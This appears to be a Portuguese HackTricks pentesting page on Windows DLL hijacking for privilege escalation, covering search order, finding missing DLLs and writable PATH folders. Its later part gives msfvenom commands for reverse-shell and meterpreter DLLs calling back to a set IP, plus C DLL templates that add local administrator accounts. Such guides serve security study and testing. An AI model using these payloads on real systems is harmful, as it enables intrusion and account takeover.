2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-12-25 04:23:33 +00:00
hacktricks/windows-hardening/windows-local-privilege-escalation/dll-hijacking.md

18 KiB

Dll Hijacking

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Se você está interessado em uma carreira de hacking e hackear o inquebrável - estamos contratando! (fluência em polonês escrita e falada é necessária).

{% embed url="https://www.stmcyber.com/careers" %}

Definição

Primeiro de tudo, vamos entender a definição. O Dll hijacking é, no sentido mais amplo, enganar um aplicativo legítimo/confiável para carregar uma DLL arbitrária. Termos como DLL Search Order Hijacking, DLL Load Order Hijacking, DLL Spoofing, DLL Injection e DLL Side-Loading são frequentemente - erroneamente - usados para dizer a mesma coisa.

O Dll hijacking pode ser usado para executar código, obter persistência e elevar privilégios. Dos três, o menos provável de encontrar é a elevação de privilégios de longe. No entanto, como isso faz parte da seção de elevação de privilégios, vou focar nessa opção. Além disso, observe que, independentemente do objetivo, um dll hijacking é realizado da mesma maneira.

Tipos

Existem várias abordagens para escolher, com o sucesso dependendo de como o aplicativo está configurado para carregar suas DLLs necessárias. As abordagens possíveis incluem:

  1. Substituição de DLL: substituir uma DLL legítima por uma DLL maliciosa. Isso pode ser combinado com DLL Proxying [2], que garante que todas as funcionalidades da DLL original permaneçam intactas.
  2. Hijacking da ordem de pesquisa de DLL: DLLs especificadas por um aplicativo sem um caminho são procuradas em locais fixos em uma ordem específica [3]. O hijacking da ordem de pesquisa ocorre colocando a DLL maliciosa em um local que é pesquisado antes da DLL real. Isso às vezes inclui o diretório de trabalho do aplicativo alvo.
  3. Hijacking de DLL fantasma: colocar uma DLL maliciosa no lugar de uma DLL ausente/inexistente que um aplicativo legítimo tenta carregar [4].
  4. Redirecionamento de DLL: alterar o local em que a DLL é procurada, por exemplo, editando a variável de ambiente %PATH%, ou arquivos .exe.manifest / .exe.local para incluir a pasta que contém a DLL maliciosa [5, 6].
  5. Substituição de DLL WinSxS: substituir a DLL legítima pela DLL maliciosa na pasta WinSxS relevante da DLL alvo. Frequentemente referido como DLL side-loading [7].
  6. Hijacking de DLL de caminho relativo: copiar (e opcionalmente renomear) o aplicativo legítimo para uma pasta gravável pelo usuário, ao lado da DLL maliciosa. Da maneira como é usado, tem semelhanças com a Execução de Proxy Binário (Assinado) [8]. Uma variação disso é chamada de 'traga seu próprio LOLbin' [9], que traz o aplicativo legítimo com a DLL maliciosa (em vez de copiá-lo da localização legítima na máquina da vítima).

Encontrando Dlls ausentes

A maneira mais comum de encontrar Dlls ausentes em um sistema é executar o procmon do sysinternals, configurando os seguintes 2 filtros:

e mostrar apenas a Atividade do Sistema de Arquivos:

Se você está procurando dlls ausentes em geral, você deixa isso rodando por alguns segundos.
Se você está procurando uma dll ausente dentro de um executável específico, você deve definir outro filtro como "Nome do Processo" "contém" "<nome do exec>", executá-lo e parar de capturar eventos.

Explorando Dlls Ausentes

Para elevar privilégios, a melhor chance que temos é ser capaz de escrever uma dll que um processo privilegiado tentará carregar em algum local onde ela será procurada. Portanto, seremos capazes de escrever uma dll em uma pasta onde a dll é procurada antes da pasta onde a dll original está (caso estranho), ou seremos capazes de escrever em alguma pasta onde a dll será procurada e a dll original não existir em nenhuma pasta.

Ordem de Busca de Dlls

Dentro da documentação da Microsoft você pode encontrar como as Dlls são carregadas especificamente.

Em geral, um aplicativo Windows usará caminhos de busca pré-definidos para encontrar DLLs e verificará esses caminhos em uma ordem específica. O sequestro de DLL geralmente ocorre colocando uma DLL maliciosa em uma dessas pastas, garantindo que a DLL seja encontrada antes da legítima. Esse problema pode ser mitigado fazendo com que o aplicativo especifique caminhos absolutos para as DLLs de que ele precisa.

Você pode ver a ordem de busca de DLLs em sistemas de 32 bits abaixo:

  1. O diretório de onde o aplicativo foi carregado.
  2. O diretório do sistema. Use a função GetSystemDirectory para obter o caminho deste diretório. (C:\Windows\System32)
  3. O diretório do sistema de 16 bits. Não há função que obtenha o caminho deste diretório, mas ele é pesquisado. (C:\Windows\System)
  4. O diretório do Windows. Use a função GetWindowsDirectory para obter o caminho deste diretório.
  5. (C:\Windows)
  6. O diretório atual.
  7. Os diretórios listados na variável de ambiente PATH. Observe que isso não inclui o caminho por aplicativo especificado pela chave de registro App Paths. A chave App Paths não é usada ao calcular o caminho de busca de DLLs.

Essa é a ordem de busca padrão com o SafeDllSearchMode ativado. Quando desativado, o diretório atual sobe para a segunda posição. Para desativar esse recurso, crie o valor de registro HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode e defina-o como 0 (o padrão é ativado).

Se a função LoadLibraryEx for chamada com LOAD_WITH_ALTERED_SEARCH_PATH, a busca começa no diretório do módulo executável que o LoadLibraryEx está carregando.

Por fim, observe que uma dll pode ser carregada indicando o caminho absoluto em vez apenas do nome. Nesse caso, essa dll só será procurada nesse caminho (se a dll tiver dependências, elas serão procuradas apenas pelo nome).

Existem outras maneiras de alterar a ordem de busca, mas não vou explicá-las aqui.

Exceções na ordem de busca de dlls da documentação do Windows

  • Se uma DLL com o mesmo nome de módulo já estiver carregada na memória, o sistema verifica apenas a redireção e um manifesto antes de recorrer à DLL carregada, não importa em qual diretório ela esteja. O sistema não procura pela DLL.
  • Se a DLL estiver na lista de DLLs conhecidas para a versão do Windows em que o aplicativo está sendo executado, o sistema usará sua cópia da DLL conhecida (e as DLLs dependentes da DLL conhecida, se houver) em vez de procurar pela DLL. Para obter uma lista de DLLs conhecidas no sistema atual, consulte a seguinte chave de registro: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs.
  • Se uma DLL tiver dependências, o sistema procura pelas DLLs dependentes como se elas fossem carregadas apenas com seus nomes de módulo. Isso é verdade mesmo se a primeira DLL tiver sido carregada especificando um caminho completo.

Elevando Privilégios

Requisitos:

  • Encontrar um processo que seja executado/será executado com outros privilégios (movimento horizontal/lateral) e que esteja faltando uma dll.
  • Ter permissão de escrita em qualquer pasta onde a dll será procurada (provavelmente o diretório do executável ou alguma pasta dentro do caminho do sistema).

Sim, os requisitos são complicados de encontrar, pois por padrão é meio estranho encontrar um executável privilegiado faltando uma dll e é ainda mais estranho ter permissões de escrita em uma pasta do caminho do sistema (você não pode por padrão). Mas, em ambientes mal configurados, isso é possível.
No caso de ter sorte e encontrar-se atendendo aos requisitos, você pode verificar o projeto UACME. Mesmo que o objetivo principal do projeto seja contornar o UAC, você pode encontrar lá um PoC de sequestro de DLL para a versão do Windows que você pode usar (provavelmente apenas alterando o caminho da pasta onde você tem permissões de escrita).

Observe que você pode verificar suas permissões em uma pasta fazendo:

accesschk.exe -dqv "C:\Python27"
icacls "C:\Python27"

E verifique as permissões de todas as pastas dentro do PATH:

for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

Você também pode verificar as importações de um executável e as exportações de uma DLL com:

dumpbin /imports C:\path\Tools\putty\Putty.exe
dumpbin /export /path/file.dll

Para um guia completo sobre como abusar do Dll Hijacking para elevar privilégios com permissões para escrever em uma pasta System Path, verifique:

{% content-ref url="dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md" %} writable-sys-path-+dll-hijacking-privesc.md {% endcontent-ref %}

Ferramentas automatizadas

Winpeas verificará se você tem permissões de gravação em qualquer pasta dentro do sistema PATH.
Outras ferramentas automatizadas interessantes para descobrir essa vulnerabilidade são as funções do PowerSploit: Find-ProcessDLLHijack, Find-PathDLLHijack e Write-HijackDll.

Exemplo

Caso você encontre um cenário explorável, uma das coisas mais importantes para explorá-lo com sucesso seria criar uma dll que exporte pelo menos todas as funções que o executável importará dela. De qualquer forma, observe que o Dll Hijacking é útil para elevar do nível de integridade Médio para Alto (burlando o UAC) ou de Alto para SYSTEM. Você pode encontrar um exemplo de como criar uma dll válida dentro deste estudo de dll hijacking focado em dll hijacking para execução: https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows.
Além disso, na próxima seção você pode encontrar alguns códigos básicos de dll que podem ser úteis como modelos ou para criar uma dll com funções não obrigatórias exportadas.

Criando e compilando Dlls

Dll Proxifying

Basicamente, um proxy de Dll é uma Dll capaz de executar seu código malicioso quando carregada, mas também de expor e funcionar como esperado, repassando todas as chamadas para a biblioteca real.

Com a ferramenta **** DLLirant **** ou **** Spartacus **** você pode realmente indicar um executável e selecionar a biblioteca que deseja proxificar e gerar uma dll proxificada ou indicar a Dll e gerar uma dll proxificada.

Meterpreter

Obter shell reverso (x64):

msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll

Obtenha um meterpreter (x86):

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll

Criar um usuário (não encontrei uma versão x64):

msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll

Seu próprio

Observe que em vários casos, a Dll que você compila deve exportar várias funções que serão carregadas pelo processo vítima, se essas funções não existirem, o binário não poderá carregá-las e o exploit falhará.

// Tested in Win10
// i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
switch(dwReason){
case DLL_PROCESS_ATTACH:
system("whoami > C:\\users\\username\\whoami.txt");
WinExec("calc.exe", 0); //This doesn't accept redirections like system
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
// For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
// For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll

#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
if (dwReason == DLL_PROCESS_ATTACH){
system("cmd.exe /k net localgroup administrators user /add");
ExitProcess(0);
}
return TRUE;
}
//x86_64-w64-mingw32-g++ -c -DBUILDING_EXAMPLE_DLL main.cpp
//x86_64-w64-mingw32-g++ -shared -o main.dll main.o -Wl,--out-implib,main.a

#include <windows.h>

int owned()
{
WinExec("cmd.exe /c net user cybervaca Password01 ; net localgroup administrators cybervaca /add", 0);
exit(0);
return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
owned();
return 0;
}
//Another possible DLL
// i686-w64-mingw32-gcc windows_dll.c -shared -lws2_32 -o output.dll

#include<windows.h>
#include<stdlib.h>
#include<stdio.h>

void Entry (){ //Default function that is executed when the DLL is loaded
system("cmd");
}

BOOL APIENTRY DllMain (HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call){
case DLL_PROCESS_ATTACH:
CreateThread(0,0, (LPTHREAD_START_ROUTINE)Entry,0,0,0);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DEATCH:
break;
}
return TRUE;
}

Se você está interessado em uma carreira de hacking e hackear o inquebrável - estamos contratando! (fluência em polonês escrita e falada é necessária).

{% embed url="https://www.stmcyber.com/careers" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥